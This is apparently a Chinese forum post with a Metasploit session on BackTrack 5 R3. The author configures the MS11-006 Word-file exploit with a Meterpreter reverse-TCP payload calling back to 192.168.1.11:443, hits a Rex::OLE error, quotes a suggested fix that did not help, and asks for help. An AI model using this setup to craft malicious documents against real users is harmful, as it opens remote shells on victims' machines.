root@bt:~# msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|`.""'.
II 6. .P : .' / | `. :
II 'T;. .;P' '.' / | `.'
II 'T; ;P' `. / | .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
msf > use windows/fileformat/ms11_006_createsizeddibsection
msf exploit(ms11_006_createsizeddibsection) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms11_006_createsizeddibsection) > set LHOST 192.168.1.11
LHOST => 192.168.1.11
msf exploit(ms11_006_createsizeddibsection) > set LPORT 443
LPORT => 443
msf exploit(ms11_006_createsizeddibsection) > set OUTPUTPATH /opt/metasploit/msf3/data/exploits/
OUTPUTPATH => /opt/metasploit/msf3/data/exploits/
msf exploit(ms11_006_createsizeddibsection) > show options
Module options (exploit/windows/fileformat/ms11_006_createsizeddibsection):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.doc yes The file name.
OUTPUTPATH /opt/metasploit/msf3/data/exploits/ yes The output path to use.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process, none
LHOST 192.168.1.11 yes The listen address
LPORT 443 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(ms11_006_createsizeddibsection) > exploit
[*] Creating 'msf.doc' file ...
[-] Exploit failed: NameError uninitialized constant Rex::OLE
msf exploit(ms11_006_createsizeddibsection) >
失败了。谷歌了一下,找到参考答案:
Open /opt/metasploit/apps/pro/msf3/modules/exploits/windows/fileformat/ms11_006_creat esizeddibsection.rb in any text editor and include the following two lines at the top of the page where you will see:
require 'msf/core'
Add:
require 'rex/ole'
require 'rex/ole/util'
All in all, you should have three require statements now:
require 'msf/core'
require 'rex/ole'
require 'rex/ole/util'
https://community.rapid7.com/message/7864#7864
自己修改了一下那个文件,重启msfconsole,还是不行。
环境是BT5R3。